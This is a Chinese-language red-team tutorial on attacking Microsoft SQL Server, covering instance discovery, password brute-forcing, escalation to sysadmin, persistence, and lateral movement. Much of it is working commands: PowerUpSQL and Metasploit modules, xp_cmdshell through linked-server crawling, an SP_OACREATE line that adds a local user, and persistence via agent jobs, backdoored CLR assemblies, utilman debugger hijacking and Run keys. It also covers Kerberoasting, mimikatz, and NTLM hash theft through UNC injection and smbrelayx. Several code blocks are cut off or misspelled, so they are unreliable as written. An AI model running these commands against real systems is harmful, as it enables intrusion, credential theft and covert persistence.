[TOC]
by Tahir 2021.3.5
SQL Server攻击实战思路
第二章简单介绍了SQL Server中常见的一写利用点,接下来介绍这些利用面在各个攻击阶段中的应用和一些思路。
SQL Server实例发现
SQL Server的实例发现-,本地实例主要是通过检查系统服务和注册表方式。远程实例可以通过扫描TDS监听服务、UDP广播、SPN服务等方式。
常见的几种实例发现-工具:
1 | osql -L |
1 | sqlcmd -L |
1 | import-module .\PowerUPSQL.psd1 //加载模块 |
1 | Get-SQLInstanceBroadcast //SQL Server实例发现- |
Metasploit mssql_ping module
Nmap
Nessus
……
本地实例发现
作为本地用户,主要是通过检查系统服务和注册表设置来标识SQL Server实例。
检查系统服务
检查注册表键值,也可判断SQL Server实例
1 | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances |
使用PowerUpSQL,来识别本地实例。
1 | import-module .\PowerUPSQL.psd1 //加载模块 |
远程实例发现
1 | Get-SQLInstanceBroadcast -Verbose //UDP广播Ping |
域内实例发现
域内实例主要利用SPN扫描发现实例,先简单介绍一下什么是SPN服务。
SPN服务
Windows 域环境是基于活动目录(Active Directory)服务工作的。为了在域环境中有效地对资源访问权限进行精细控制,提高网络环境的安全性和方便网络资源统一分配管理。系统给域内每种资源分配了不同的服务主体名称(Service Principal Name, SPN)。使用Kerberos协议进行身份验证的域环境中,本地账号SPN将自动注册,但是,域内用户账号下运行的服务,必须为此域内账户手动注册。如下图SQL Server服务运行在域内用户时的状态。
因为域中每台机器都要在Kerberos身份验证服务中注册SPN,所以攻击者可以向域控制器(AD)发送请求,获取SPN相关信息,得到某个服务资源在哪台服务器上。
SQL Server服务的SPN示例:
1 | TERMSRV/MSSQL2.sec.com:1433 |
域内用户账号下运行的服务,手动注册SPN
1 | setspn -A MSSQLSvc/MSSQL2.sec.com:1433 mssqluser |
更多SPN相关介绍请查看:https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spn-setspn-syntax.aspx
域中安装的SQL Server会使用关联的服务帐户自动在活动目录(Active Directory)中注册,以支持Kerberos身份验证。可以使用以下方式识别实例:
1 | setspn -q */* |
-
1
Get-SQLInstanceDomain
PowerUpSQL其他发现实例命令
描述 | 命令 |
---|---|
使用备用域凭据发现Active Directory域SQL Server实例 | runas /noprofile /netonly /user:domain\user PowerShell.exe import-module PowerUpSQL.psd1 Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password Password123 |
列出使用特定域帐户的SQL Server实例 | Get-SQLInstanceDomain -Verbose -DomainAccount mssqluser |
列出共享域用户SQL Server服务帐户 | Get-SQLInstanceDomain -Verbose | Group-Object DomainAccount | Sort-Object count -Descending | select Count,Name | Where-Object {($.name -notlike “$”) -and ($.count -gt 1) } |
SQL Server口令爆破
连接测试,两种功能均可用于测试。
1 | Get-SQLConnectionTestThreaded |
爆破必须的几个条件:
- 常见的弱密码
- 当前的本地用户访问权限
- 当前域用户访问权限
- 备用域用户访问权限
使用msf来执行爆破
1 | use auxiliary/scanner/mssql/mssql_login |
PowerUpSQL其他获取账户相关命令:
描述 | 命令 |
---|---|
获取可用提供的SQL Server登录名登录的域SQL Server列表 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass | Where-Object {$_.Status -like “Accessible”} $Targets |
获取可以使用当前域帐户登录的域SQL服务器的列表 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like “Accessible”} $Targets |
获取可以使用备用域帐户登录的域SQL服务器的列表 | runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
获取可以使用非域系统中的备用域帐户登录的域SQL服务器的列表。 | runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain -Verbose -Username ‘domain\user’ -Password ‘MyPassword!’ -DomainController 10.1.1.1 | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
发现域SQL Server,并根据实例名称确定它们是否配置有普通应用程序使用的默认密码 | Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose |
SQL Server权限提升
权限提升基本的一个思路:
域用户可以到处登录的前置条件。
- 添加了域用户
- 已添加本地用户
- 特权继承
获得Sysadmin权限的一些利用点:
获得低权限账号
可以使用常用的凭据执行爆破,但要注意帐户锁定。
以PowerUpSQL为例:
1 | import-module .\PowerUPSQL.psd1 //加载模块。 |
许多使用SQL Server Express作为后端的应用程序都是使用特定的凭据和实例名称配置的。使用以下命令检查这些凭据:
1 | import-module .\PowerUPSQL.psd1 //加载模块。 |
如果与SQL Server的通信未加密,我们可以执行MITM攻击来注入们自己的查询。根据欺骗的用户特权,我们可以注入SQL登录名。
使用本地或域用户账号
尝试使用当前帐户登录到SQL Server。过多的登录特权是常见的配置。
1 | import-module .\PowerUpSQL.psd1 |
从Public到Sysadmin
猜测弱密码获得高权限角色账号,一般需要以下两步:
- 枚举登录名
- 猜测密码
1.枚举登录名
默认情况下,Public角色成员不能选择本地列表登录,但可以进行Fuzz登录名。如果尝试枚举所有SQL Server登录名枚举,则只会看到其中一部分。查询出所有SQL Server登录名:
1 | SELECT name FROM sys.syslogins |
1 | SELECT name FROM sys.server_principals |
suser_name返回给定主体ID的主体名称。可以通过使用Public角色,在suser_name函数中枚举主体ID值来标识SQL登录名。查询示例:
1 | SELECT SUSER_NAME(1) |
2.猜测密码
使用PowerUpSQL尝试对那些已识别出的的SQL Server登录名使用弱口令爆破。
1 | Get-SQLFuzzServerLogin -Instance ComputerNAme\InstanceName //PowerUpSQL Blind SQL登录枚举 |
3.获取当前域内用户名
public角色可以获取当前域信息,有利用盲猜域内其他组SID或用户名。
获取SQL Server所在的域:
1 | SELECT DEFAULT_DOMAIN() as mydomain |
获取域内用户的完整SID。
1 | SELECT SUSER_SID('<Identified_Domain>\Domain Admins') |
1 | 0x010500000000000515000000CAAE870FA5F89ACD856A619851040000 |
获取域内Admins组的完整RID。
1 | SELECT SUSER_SID('<Identified_Domain>\Domain Admins') |
1 | 0x010500000000000515000000CAAE870FA5F89ACD856A619800020000 |
抓取完整RID的前48个字节以获取域的SID。通过将十六进制数字值附加到先前的SID来创建新的RID(将与域对象相关联)。
1 | RID=0x010500000000000515000000CAAE870FA5F89ACD856A619851040000 |
PowerUpSQL也可盲猜域帐户。
1 | Get-SQLFuzzDomainAccount -Instance ComputerNAme\InstanceName |
利用Public获得更多权限
在具有对SQL Server的Public权限账号的上下文中,最常用的获取执行权限的方法是:
- 特权模拟
- 存储过程和触发器创建/注入
- 写入存储过程的自动执行
- SQL Server代理任务
- xp_cmdshell
- 创建数据库链接到文件或服务器
- 导入/安装自定义CLR程序集
- 临时查询
- 共享服务帐户
- 数据库链接
- UNC路径注入
- Python/R脚本执行。
以上大部分内容在SQL Server常用攻击面已经介绍,不再赘述,下面简单介绍一下前面未提的方法。
1.特权模拟
SQL Server中有一个特权/权限,它允许权限较低的用户,模拟行使另一个具有更多访问权限的用户。不限制执行查询/命令,但必须将数据库配置为允许OS命令执行对象。
EXECUTE AS语句
默认情况下,会话在用户登录时开始,并在用户注销时结束。会话期间的所有操作都必须对该用户进行权限检查。当一个EXECUTE AS语句运行,会话的执行上下文切换到指定的登录名或用户名。上下文切换之后,将针对该帐户的登录名和用户安全性令牌而不是调用EXECUTE AS语句的人员检查权限。本质上,在会话或模块执行期间将模拟用户或登录帐户,或者显式还原上下文切换。
使用public角色用户testuser,手动检查是否是sa登录:
1 | SELECT SYSTEM_USER |
1 | EXECUTE AS LOGIN = 'sa' //模拟sa数据库级别,对于服务器级别,请使用EXECUTE AS USER。 |
再次使用public角色用户testuser,手动检查目前模拟为sa登录:
1 | SELECT SYSTEM_USER |
2.存储过程和触发器创建/注入
开发人员的一个常见错误是将他们要使用的所有功能,将其写入存储过程中,以便能够在其他用户的上下文中执行。这些存储过程可以作为数据库的所有者(拥有所有者的EXECUTE AS)来执行,以使它可以访问其他资源。也可以在高权限用户的上下文中进行执行,并且不需要授予特权。但是,从安全的角度来看,采用此方法有一些缺点:
- 无法精细控制数据库所有者的权限。
- 普通帐户或sysadmin帐户通常拥有数据库。
DB_OWNER角色可以使用EXECUTE AS OWNER在sa或sysadmin帐户的上下文中执行。如果这些存储过程实现不安全,则可以通过扩展存储过程来通过SQL注入或命令注入进行模拟。例子:
1 | USE test2 |
必须将数据库配置为值得信赖的OS命令执行程序。虽然可以通过SQL或命令注入进行模拟,但是创建存储过程或触发器是更好的选择。
攻击场景:
DBA对Web应用程序执行以下操作:
1 | CREATE LOGIN somebody WITH PASSWORD = 'Password123'; //为WebApp创建SQL登录名。 |
可以在查询中识别此类数据库
1 | SELECT SUSER_NAME(owner_id) as DBOWNER, d.name as DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m on r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' |
可以使用以下metasploit模块自动进行探测
1 | auxiliary/admin/mssql/mssql_escalate_dbowner |
3.服务帐户
SQL Server所有版本都为服务帐户提供sysadmin特权。
列出常见的一些服务帐户类型:
- 域用户
- 本地用户
- 本地系统
- 网络服务
- 本地托管服务帐户
- 域托管服务帐户
PowerUpSQL的Invoke-SQLOSCMD可用于基本命令执行。
对于单个主机实例:
1 | Invoke-SQLOSCMD –Verbose –Instance "server1\instance1" –Command "whoami" |
对于域内实例:
1 | Get-SQLInstanceDomain | InvokeSQLOSCMD –Verbose –Command "whoami" |
如果我们攻击了一个SQL Server,那么我们也将使用该共享帐户来攻击所有SQL Server。
4.爬数据库链接
数据库链接(Database Link)本质上是两个服务器之间的持久连接。数据库链接(Database Link)的作用是,允许一个数据库服务器去对其他的数据库服务器进行查询。数据链接可以用不同的方式进行配置,但是更多时候我们看到它们使用硬编码的凭据。
Public角色使用openquery()函数,对被链接的数据库服务器进行查询;也可以执行xp_cmdshell,对远程访问也无凭证要求。通常配置此功能会使数据库服务器,拥有过多的特权。因此允许在远程服务器上的模拟登录,切换到高权限账号的上下文中。下图简单说明当数据库对链接查询功能配置过高特权时,注入的payload是如何被传递:

列出所有链接的服务器名,通常有两个选项
1 | exec sp_linkedservers |
和
1 | SELECT srvname FROM master..syservers |
查询一个服务器的所有链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers') |
查询一个服务器的某个链接的服务器所链接的服务器名:
1 | SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")') |
查询可以一直嵌套执行,直到穷尽所有数据库服务器。在链接的服务器上执行命令:
1 | SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')') |
SQL Server 2005 存在链接爬网命令执行漏洞,使用msf的mssql_linkcrawler模块可获得反弹shell。
1 | use exploit/windows/mssql/mssql_linkcrawler |
自动化爬网的工具:
从系统管理员到Sysadmin
首先先了解三个点:
- SQL Server较旧的版本为本地管理员提供sysadmin特权
- SQL Server较旧的版本为本地系统提供sysadmin特权
- SQL Server所有版本都为SQL Server服务帐户提供sysadmin特权
以下是利用点和常用工具列表:
利用点 | 常用工具 |
---|---|
本地管理员身份访问DB | Management Studio,sqlcmd和其他SQL客户端工具。 |
本地系统身份访问DB | Psexec,可访问性选项,带有本机SQL客户端工具的调试器。 |
通过LSA Secrets恢复服务帐户密码 | Mimikatz, Metasploit, lsadump. |
SQL Server服务进程注入 | Metasploit, Python, Powershell (LoadLibrary,CreateRemoteThread等类似的功能) |
从服务进程中窃取身份验证令牌 | Metasploit, Incognito, Invoke-TokenManipulation |
单用户模式 | DBATools |
以上利用点不一定适用所有SQL Server所有版本,下面简单列出一下适用版本(√:适用,×:不适用,?:可能适用),仅供参考:
利用点 | SQL Server 2000 | SQL Server 2005 | SQL Server 2008 | SQL Server 2012 | SQL Server 2014 | SQL Server 2016 |
---|---|---|---|---|---|---|
服务凭证 | √ | √ | √ | √ | √ | √ |
本地管理员 | √ | √ | × | × | × | × |
本地系统 | √ | √ | √ | × | × | × |
SQL Server进程注入 | √ | √ | √ | √ | √ | ? |
令牌窃取 | √ | √ | √ | √ | √ | ? |
单用户模式 | ? | √ | √ | √ | √ | √ |
附PowerUpSQL一些执行命令:
描述 | 命令 |
---|---|
SQL Server帐户的域用户。 以域用户身份运行时,此功能将自动执行4件事。1.通过LDAP查询到DC的SPN来识别域上的SQL Server。2.尝试登录每个。3.使用多种方法执行UNC路径注入。4.尝试捕获关联的SQL Server服务帐户的密码哈希。 | Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12 |
通过服务帐户模拟将OS管理员转换为sysadmin,然后所有PowerUpSQL命令都可以以sysadmin身份运行。 | Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL |
审核问题 | Invoke-SQLAudit -Verbose -Instance SQLServer1 |
升级到sysadmin | Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1 |
执行OS命令:xp_cmdshell | $Targets | Invoke-SQLOSCmd -Verbose -Command “Whoami” -Threads 10 |
执行OS命令:自定义扩展存储过程 | Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command “echo test > c:\temp\test.txt” -ExportName xp_test -Verbose将test.dll放在在SQL Server服务帐户可读的共享上。 Get-SQLQuery -Verbose -Query “sp_addextendedproc ‘xp_test’, ‘\yourserver\yourshare\myxp.dll’” xp_test sp_dropextendedproc ‘xp_test’ |
执行OS命令:CLR | $Targets | Invoke-SQLOSCLR -Verbose -Command “Whoami” |
执行OS命令:Ole自动化过程 | $Targets | Invoke-SQLOSOle -Verbose -Command “Whoami” |
执行OS命令:外部脚本-R | $Targets | Invoke-SQLOSR -Verbose -Command “Whoami” |
执行OS命令:外部脚本-Python | $Targets | Invoke-SQLOSPython -Verbose -Command “Whoami” |
执行OS命令:代理作业-CmdExec | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command “echo hello > c:\windows\temp\test1.txt” |
执行OS命令:代理作业-PowerShell | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command ‘write-output “hello world” | out-file c:\windows\temp\test2.txt’ -Sleep 20 |
执行OS命令:代理作业-VBScript | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command ‘c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt’ |
执行OS命令:代理作业-JScript | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command ‘c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt’ |
检索数据库链接 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 |
检索数据库链接并执行查询 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query “select name from master..sysdatabases” |
抓取数据库链接并执行OS命令 | Get-SQLCrawl -instance “SQLSERVER1\Instance1” -Query “exec master..xp_cmdshell ‘whoami’” |
转储代理任务的内容。通常包含密码。详细输出包括作业摘要数据。 | $Results = Get-SQLAgentJob -Verbose -Instance Server1\Instance1 -Username sa -Password ‘123qweASD’ |
枚举所有SQL登录名作为最低特权用户,并测试用户名作为密码。 | 针对单个服务器 Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\Instance1 运行针对域SQL Server运行 $WeakPasswords = Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditWeakLoginPw -Verbose $WeakPasswords |
SQL Server权限维持
利用SQL Server设置权限维持方法,主要还是靠SQL Server代理作业,定期执行计划任务。为了实现无文件攻击,还利用CLR程序集功能,加载恶意DLL文件。通过这两种内置功能进行持久化,实现了在无文件落地、无其他进程的情况下,实施权限维持。
此持久化有几个前提条件:
- 启动SQL Server代理服务
- 开启CLR功能
- 将存储.Net程序集的数据库配置为可信赖的
以上均在SQL Server代理执行计划任务和SQL Server CLR相关利用详细介绍。
高隐蔽性持久化
连接SQL Server数据库后,创建SQL Server代理作业,定时执行SQL语句调用恶意的用户自定义存储过程或函数利用SQL语句将CLR程序集以十六进制形式加载加载进数据库,实现通过用户自定义函数调用恶意的CLR程序集。已创建的SQL Server代理作业,定期执行计划任务,调用CLR程序集,实现无文件持久化。
首先创建名为CreateWarSQLKit的存储过程(WarSQLKit相关的利用可查看第二章中SQL ServerCLR相关利用的WarSQLKit篇章)
1 | USE msdb; |
创建SQL Server代理作业,定期执行CreateWarSQLKit,实现WarSQLKit的DLL文件持久化。
1 | USE msdb; |
其他方式实现持久化
出了正常利用SQL Server可以执行系统命令的存储过程,以下操作都是作为SQL对象存储在数据库中,并且没有任何更改到磁盘,也可以做到无文件持久化。
可以为utilman.exe设置调试器,该调试器将在调用cmd.exe时运行。仅sysadmins特权。
1 | import-module .\PowerUPSQL.psd1 |
可以利用CurrentVersion \run与xp_regwrite建立。仅sysadmins特权。
1 | import-module .\PowerUPSQL.psd1 |
可以将所有自定义CLR程序集导出到DLL,最后导入后门CLR。仅sysadmins特权。
1 | import-module .\PowerUPSQL.psd1 |
如果遇到SQLServer中的xplog70.dll文件被删除或放到其他地方了, xp_cmdshell就无法执行我们发出的命令了。可以考虑SQLServer中有一系列与OLE相关的存储过程,这一系列的存储过程同xp_cmdshell以及读取注册表系列的存储过程一样危险,所以被删除的可能性就小一些。这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
可以在系统添加一个用户名为test,密码为12345678,并加入管理员组。
1 | DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user test 12345678 /add' |
xp_cmdshell、SP_OACREATE等可执行系统命令的存储过程,以及与它们相对应的动态连接库文件(DLL)都被删除了,还可以读取和修改注册表的存储过程(xp_regread、xp_regwrite)来克隆对方系统的管理员用户。
PowerUpSQL命令参考:
描述 | 命令 |
---|---|
将所有自定义CLR程序集导出到DLL。它们可以脱机反编译,并且通常包含密码。而且,无需过多努力即可将其借壳。 | $Results = Get-SQLStoredProcedureCLR -Verbose -Instance Server1\Instance1 -Username sa -Password 'P@ssword!' -ExportFolder c:\temp `$Results |
创建一个可用于导入现有(或后门)CLR程序集的SQL命令。 | Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll 博客:https://blog.netspi.com/attacking-sql-server-clr-assemblies/)://blog.netspi.com/attacking-sql-server-clr-assemblies/ |
创建可用于导入CLR程序集以执行OS命令的DLL和SQL命令。 | Create-SQLFileCLRDll -Verbose -ProcedureName runcmd -OutDir c:\temp -OutFile evil |
获取共享SQL Server服务帐户的列表 | `Get-SQLInstanceDomain -Verbose |
SQL Server横向移动
Kerberoast攻击
利用传统的Kerberoast攻击方式进行横向移动,Kerberoast是一种针对Kerberos协议的攻击方式。根据Kerberos协议,当向活动目录完成身份验证后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户,作为访问资源时的身份凭证。当需要访问资源,向票据服务器(TGS)发送Kerberos票据时,首先需要使用具有有效身份用户的票据(TGT)向票据服务器(TGS)请求乡音的服务票据。当该票据(TGT)被验证具有此服务的权限是,会向用户发送一张新的票据。新的票据使用SPN关联的计算机中的服务账号的NTLM Hash。攻击者可以尝试不同的NTLM Hash来开启Kerberos票据。NTLM Hash对应的是服务账号的密码。
实施此攻击前有几个前提条件:
- 域内用户运行的SQL Server已经手动注册过SPN
- Kerberos协议加密方式为RC4_HMAC_MD5
通过SQL Server能执行PowerShell命令的利用点和导入特定功能的CLR程序集即可完成Kerberoast攻击。
查看指定域内用户所注册的SPN
1 | setspn -L SEC\MSSQL2 |
通过上文设置WarSQLKit的DLL存在sp_Mimikatz存储,执行mimikatz。
1 | exec sp_cmdExec 'sp_Mimikatz'; |
或者利用任何一种可以执行PowerShell命令的方式,可以请求到SPN的Kerberos票据:
1 | Add-Type -AssemblyName System.IdentityModel |
之后可以使用PowerShell命令远程下载部署mimikatz,或者kerberoast。
1 | #mimikatz:kerberos::list /export |
导出的票据会保存到当前目录的kirbi文件。
利用kerberoast中的tgsrepcrack.py脚本,离线破解NTLM Hash。
PowerUpSQL中使用Get-SQLServerPasswordHash,可自动提取SQL登录密码哈希:
1 | import-module .\PowerUPSQL.psd1 |
CLR实现无文件落地横向移动
David Cash在MSSQL Lateral Movement介绍了SQL Server中使用CLR自动执行横向移动而无文件落地和不需要xp_cmdshell,以及如何防止被检测到。
CLR相关的介绍在上文已经介绍,在此不再赘述。通常为实现命令执行而对MSSQL服务进行后期开发通常会利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。要使用此技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户或通过BCP写入磁盘的二进制文件,这提供了明显的检测机会。
SQL Server服务进程可以执行提供给它的任何.NET代码,因此利用.NET代码进行横向移动,仅需要构建适当的DLL。作为概念的证明,为了生成了一个简单的程序集,该程序集对一些shellcode进行XOR并将其注入到生成的进程中。使用Squeak可以简化CLR代码的创建和调用,下面是Squeak具备的一些功能:
展示连接数据
从原始二进制文件和单字节XOR读取shellcode字节
生成一个MSSQL CLR DLL,该DLL对shellcode进行XOR,生成一个新进程,然后将shellcode注入其中。
计算DLL的SHA512哈希
生成带有硬编码参数的单个.NET可执行文件,以通过SQL连接执行DLL –该可执行文件执行以下操作:
创建一个SQL连接
检查SQL Server版本
检查DBA权限
检查并记录现有的安全设置
修改安全设置
创建并运行程序集
恢复安全设置并删除程序集
使用Squeak可以生成带有连接字符串和CLR程序集的独立可执行文件。CLR程序集的代码是从本地目录中的文件中加载,可以直接打开文件,也可以在工具中对其进行编辑。
UNC路径注入
UNC用于访问远程文件服务器,格式为\ip\file,如果我们可以执行这个功能,则可以强制SQL Server向我们进行身份验证,并且可以获得SQL Server服务帐号的NTLM密码哈希。
可以通过以下方式实现自动化:
- PowerUpSQL的Get-SQLServiceAccountPwHashes脚本
- SQL NTLM Hash:
1 | import-module .\PowerUpSQL.ps1` |
- 使用smbrelayx(impacket)
1 | python smbrelayx.py -h sqlserverIP -c 'powershell empire launcher' |
- metasploit的SQL NTLM Hash:
1 | msf > use auxiliary/admin/mssql/mssql_ntlm_stealer |
参考资料
- https://www.quackit.com/sql_server/tutorial/sql_server_dts.cfm
- http://www.freetds.org/
- http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html
- https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/
- https://xz.aliyun.com/t/7534
- https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
- https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration